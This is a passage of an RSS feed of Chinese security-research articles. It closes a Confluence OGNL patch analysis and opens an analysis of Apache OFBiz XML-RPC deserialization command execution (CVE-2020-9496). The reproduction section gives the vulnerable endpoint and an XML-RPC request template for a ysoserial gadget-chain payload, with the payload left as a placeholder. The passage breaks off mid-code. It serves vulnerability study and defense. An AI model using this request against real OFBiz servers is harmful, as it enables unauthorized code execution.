src="https://wechat2rss.xlab.app/img-proxy/?k=d4cf0ccc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfslTLeibuzicXpPH4ibcXTOD3WalUYtgOPNEemE3hq9aHt4QGMhicvgeSqCA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="letter-spacing: 0.578px;text-wrap: wrap;text-align: left;margin-bottom: 24px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">5. 补丁分析</span></section><p style="text-align: left;"><span style="font-size: 18px;">8.5.4版本中新增了一个 ConfluenceOgnlGuard 类，用于拦截和检查 OGNL 表达式。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="377" data-backw="578" data-galleryid="" data-imgfileid="100004809" data-ratio="0.6518518518518519" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=183e6769&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfstRdj5uCS6xLibqy0zj3B07yrUYibIWIf0kkBONPB6z0cNmwP0q0GShJw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;margin-bottom: 8px;"><span style="font-size: 18px;">ConfluenceOgnlGuard 继承了</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">org.apache.struts_struts2-core-6.3.0-atlassian-8.jar!\org\apache\struts2\ognl\StrutsOgnlGuard.class</span><span style="font-size: 18px;">；</span></p><section style="text-align: left;margin-top: 16px;margin-bottom: 0px;"><span style="font-size: 18px;">在将 OGNL 表达式解析成 AST 语法树结构时，会调用其中的 containsExcludedNodeType() 方法检查生成的语法树是否包含禁止的节点类型；</span></section><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><span style="font-size: 18px;"></span><span style="letter-spacing: 0.034em;font-size: 18px;"></span><img class="rich_pages wxw-img" data-backh="298" data-backw="578" data-galleryid="" data-imgfileid="100004810" data-ratio="0.5157407407407407" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=09c5d1b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsJuyqyPXbDDdWVObbrO1tEIa76gbsgM7Fag76nwtBGZuibMaKnGJ3oBg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">如果包含则会将表达式解析结果设为</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">_ognl_guard_blocked</span><span style="font-size: 18px;">，后面就会抛出异常，解析失败，无法执行命令。</span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="178" data-backw="578" data-galleryid="" data-imgfileid="100004811" data-ratio="0.30833333333333335" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b492f84a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsHzZH2rAicuJblNialu6ycIYia7H3VtfxhzS6T39yrc7sGWUicXIvWYl1DA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><br/></p><section style="text-align: left;margin-bottom: 16px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">参考链接：</span></strong></section><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: 18px;"><a href="https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/" target="_blank">https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/</a></span></section><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: 18px;"><a href="https://forum.butian.net/share/2741" target="_blank">https://forum.butian.net/share/2741</a></span></section><p style="text-align: left;"><span style="font-size: 18px;"><a href="https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/" target="_blank">https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488463">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ef3c1e4e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488463%26idx%3D1%26sn%3Ddf501fd607b6e693cc4ddb34a644e8c8%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 Jan 2024 17:30:00 +0800</pubDate>
    </item>
    <item>
      <title>Apache OFBiz 命令执行漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488429&amp;idx=1&amp;sn=7feb3d221730a965bd93b0f2afdf97af</link>
      <description>部分路由未使用身份验证或对身份验证不严格，以及未对传入内容进行严格校验，导致命令执行。</description>
      <content:encoded><![CDATA[<p>
原创 <span>元亨-blckder02</span> <span>2024-01-05 18:09</span> <span style="display: inline-block;">浙江</span>
</p>

<p>部分路由未使用身份验证或对身份验证不严格，以及未对传入内容进行严格校验，导致命令执行。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c8efcb54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhQicMohLBJFdOezl2Xic9xeg1289azkLj9b395FMU5puiaibuzbmaJ0KWLA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="letter-spacing: 0.578px;text-wrap: wrap;"><span style="background-color: rgb(255, 255, 255);color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;text-align: left;">1. XML-RPC反序列化命令执行（CVE-2020-9496）</span><br/></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">1-1. 前言</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告：</span></strong><span style="font-size: 18px;"></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;"><a href="https://issues.apache.org/jira/browse/OFBIZ-11716" target="_blank">https://issues.apache.org/jira/browse/OFBIZ-11716</a></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述：</span></strong><span style="font-size: 18px;"></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">由于 webtools 中的 2 个 xmlrpc 相关请求（xmlrpc 和 ping）未使用身份验证，以及未对传入XML-RPC消息进行校验，所以容易受到不安全反序列化的影响。</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本：</span></strong><span style="font-size: 18px;"></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">Apache OfBiz 17.12.03</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">1-2. xml-rpc请求格式</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">XML内容的根元素是</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;methodCall&gt;</span><span style="font-size: 18px;">，每个</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;methodCall&gt;</span><span style="font-size: 18px;">元素都包含一个</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;methodName&gt;</span><span style="font-size: 18px;">元素和一个</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;params&gt;</span><span style="font-size: 18px;">元素。</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;methodName&gt;</span><span style="font-size: 18px;">元素标识要调用的过程的名称，而</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;params&gt;</span><span style="font-size: 18px;">元素包含参数列表和值。每个</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;params&gt;</span><span style="font-size: 18px;">元素包括一个</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;param&gt;</span><span style="font-size: 18px;">元素列表，而</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;param&gt;</span><span style="font-size: 18px;">元素又包含值元素。</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">示例：</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">methodCall</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">methodName</span>&gt;</span>方法名<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">methodName</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">params</span>&gt;</span></span></code><code><span class="code-snippet_outer">     <span class="code-snippet__tag">&lt;<span class="code-snippet__name">param</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">           值元素</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">     <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">param</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">params</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">methodCall</span>&gt;</span></span></code></pre></section><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;">值元素类型可以是基本数据类型，也可以是复合数据类型。</span></section><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;">基本数据类型有：</span></section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="text-align: left;line-height: normal;margin-bottom: 8px;"><strong><span style="font-size: 18px;">int</span></strong><span style="font-size: 18px;">：</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;int&gt;27&lt;/int&gt;</span><span style="font-size: 18px;">, </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;i4&gt;27&lt;/i4&gt;</span><span style="font-size: 18px;"></span></p></li><li><p style="text-align: left;line-height: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><strong>double</strong>：</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;double&gt;27.31415&lt;/double&gt;</span><span style="font-size: 18px;">, </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;double&gt;-1.1465&lt;/double&gt;</span><span style="font-size: 18px;"></span></p></li><li><p style="text-align: left;line-height: normal;margin-bottom: 8px;"><strong><span style="font-size: 18px;">Boolean</span></strong><span style="font-size: 18px;">：</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;boolean&gt;1&lt;/boolean&gt;</span><span style="font-size: 18px;">, </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;boolean&gt;0&lt;/boolean&gt;</span><span style="font-size: 18px;"></span></p></li><li><p style="text-align: left;line-height: normal;margin-bottom: 8px;"><strong><span style="font-size: 18px;">string</span></strong><span style="font-size: 18px;">：</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;string&gt;Hello&lt;/string&gt;</span><span style="font-size: 18px;">, </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;string&gt;bonkers! @&lt;/string&gt;</span><span style="font-size: 18px;"></span></p></li><li><p style="text-align: left;line-height: normal;margin-bottom: 8px;"><strong><span style="font-size: 18px;">dateTime.iso8601</span></strong><span style="font-size: 18px;">：</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;dateTime.iso8601&gt; 20021125T02:20:04 &lt;/dateTime.iso8601&gt;</span><span style="font-size: 18px;"></span></p></li><li><p style="text-align: left;line-height: normal;margin-bottom: 8px;"><strong><span style="font-size: 18px;">base64</span></strong><span style="font-size: 18px;">：</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;base64&gt;SGVsbG8sIFdvcmxkIQ==&lt;/base64&gt;</span><span style="font-size: 18px;"></span></p></li></ul><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;">复合数据类型就是指数组和结构；</span></section><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;">数组</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;array&gt;</span><span style="font-size: 18px;">可以包含多种基本数据类型：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">array</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">data</span>&gt;</span></span></code><code><span class="code-snippet_outer">     <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">boolean</span>&gt;</span>1<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">boolean</span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">     <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">string</span>&gt;</span>Array collection, eh?<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">string</span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">     <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">int</span>&gt;</span>-91<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">int</span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">     <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">double</span>&gt;</span>142.14325<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">double</span>&gt;</span><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">data</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">array</span>&gt;</span></span></code></pre></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">结构</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;struct&gt;</span><span style="font-size: 18px;">通常用来传递复杂的数据结构（键-值对形式）：</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">&lt;<span class="code-snippet__class"><span class="code-snippet__keyword">struct</span>&gt;</span></span></code><code><span class="code-snippet_outer">  &lt;member&gt;</span></code><code><span class="code-snippet_outer">     &lt;name&gt;键1&lt;/name&gt;</span></code><code><span class="code-snippet_outer">     &lt;value&gt;&lt;string&gt;值1&lt;/string&gt;&lt;/value&gt;</span></code><code><span class="code-snippet_outer">  &lt;/member&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  &lt;member&gt;</span></code><code><span class="code-snippet_outer">     &lt;name&gt;键2&lt;/name&gt;</span></code><code><span class="code-snippet_outer">     &lt;value&gt;&lt;int&gt;值2&lt;/int&gt;&lt;/value&gt;</span></code><code><span class="code-snippet_outer">  &lt;/member&gt;</span></code><code><span class="code-snippet_outer">&lt;/struct&gt;</span></code></pre></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">参考链接：</span></strong></p><section style="text-align: left;line-height: normal;margin-bottom: 8px;"><span style="font-size: 18px;"><a href="http://xmlrpc.com/spec.md" target="_blank">http://xmlrpc.com/spec.md</a></span></section><p style="text-align: left;line-height: normal;margin-bottom: 24px;"><span style="font-size: 18px;letter-spacing: 0.034em;"><a href="https://www.yiibai.com/xml-rpc/xml_rpc_data_model.html" target="_blank">https://www.yiibai.com/xml-rpc/xml_rpc_data_model.html</a></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">1-3. 环境搭建</strong></p><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;letter-spacing: 0.034em;">下载地址</span><span style="font-size: 18px;letter-spacing: 0.034em;">：</span><span style="font-size: 18px;letter-spacing: 0.034em;"><a href="https://ar" target="_blank">https://ar</a></span><span style="font-size: 18px;letter-spacing: 0.034em;">chiv</span><span style="font-size: 18px;letter-spacing: 0.034em;">e.apache.org/dist/ofbiz/</span></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">解压后用IDEA打开，build之后会生成一个</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">biuld</span><span style="font-size: 18px;">目录，添加配置</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ofbiz.jar</span><span style="font-size: 18px;">；</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="383" data-backw="578" data-galleryid="" data-imgfileid="100004733" data-ratio="0.6620370370370371" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a7dc9895&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhrzdhA2Qb5luZHJPIAXEIPIOib76B9XYRHU1phpA8DRiadh3pQsY8jlBg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">能成功访问</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);"><a href="https://localhost:8443/webtools" target="_blank">https://localhost:8443/webtools</a></span><span style="font-size: 18px;">就说明环境搭好了。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="215" data-backw="578" data-galleryid="" data-imgfileid="100004735" data-ratio="0.3718887262079063" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="683" src="https://wechat2rss.xlab.app/img-proxy/?k=576801b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhsTmULZLPWrINUEThJ3hHkw2F5db6WMMFDZzh6gMpfFpFiaiav6s0CD9A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">Apache OFBiz 结构简单介绍：</span></strong><span style="font-size: 18px;"></span></p><section style="text-align: left;line-height: 1.6em;margin-bottom: 16px;"><strong><span style="font-size: 18px;">applications</span></strong><span style="font-size: 18px;">：各个应用的目录，包含了OFBiz核心的应用程序组件，如订单管理，电子商务存储等。</span></section><section style="text-align: left;line-height: 1.6em;margin-bottom: 16px;"><strong><span style="font-size: 18px;">framework</span></strong><span style="font-size: 18px;">：框架目录，包含OFBiz框架的组件，例如实体引擎和服务引擎。这是OFBiz框架的核心，其他应用程序都是基于它来构建的。</span></section><section style="text-align: left;line-height: 1.6em;margin-bottom: 16px;"><strong><span style="font-size: 18px;">Ofbiz-component.xml</span></strong><span style="font-size: 18px;">：定义应用程序指定配置文件，库文件等，数据模型，业务逻辑，web应用程序的定位。</span></section><section style="text-align: left;line-height: 1.6em;margin-bottom: 16px;"><strong><span style="font-size: 18px;">src</span></strong><span style="font-size: 18px;">：源文件目录，包含实现业务逻辑的Java类文件。</span></section><section style="text-align: left;line-height: 1.6em;margin-bottom: 16px;"><strong><span style="font-size: 18px;">web.xml</span></strong><span style="font-size: 18px;">：用于配置 Web 应用程序的部署信息和行为，设置路由、filter等。</span></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong><span style="font-size: 18px;">Controller.xml</span></strong><span style="font-size: 18px;">：定义view，controller之间的映射关系，不仅包含了请求的映射关系，同时还包含了视图的映射关系，以及一系列的处理器比如视图解析处理器，事件处理器等。</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">1-4. 漏洞复现</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">POST请求</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/webtools/control/xmlrpc</span><span style="font-size: 18px;">，使用ysoserial工具生成一个  CommonsBeanutils1 链的payload，要用base64编码。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">methodCall</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">methodName</span>&gt;</span>ProjectDiscovery<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">methodName</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">params</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">param</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">struct</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">member</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">name</span>&gt;</span>test<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">name</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">serializable</span> <span class="code-snippet__attr">xmlns</span>=<span class="code-snippet__string">&#34;<a href="http://ws.apache.org/xmlrpc/namespaces/extensions" target="_blank">http://ws.apache.org/xmlrpc/namespaces/extensions</a>&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">           base64 payload</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">serializable</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">member</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">struct</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span 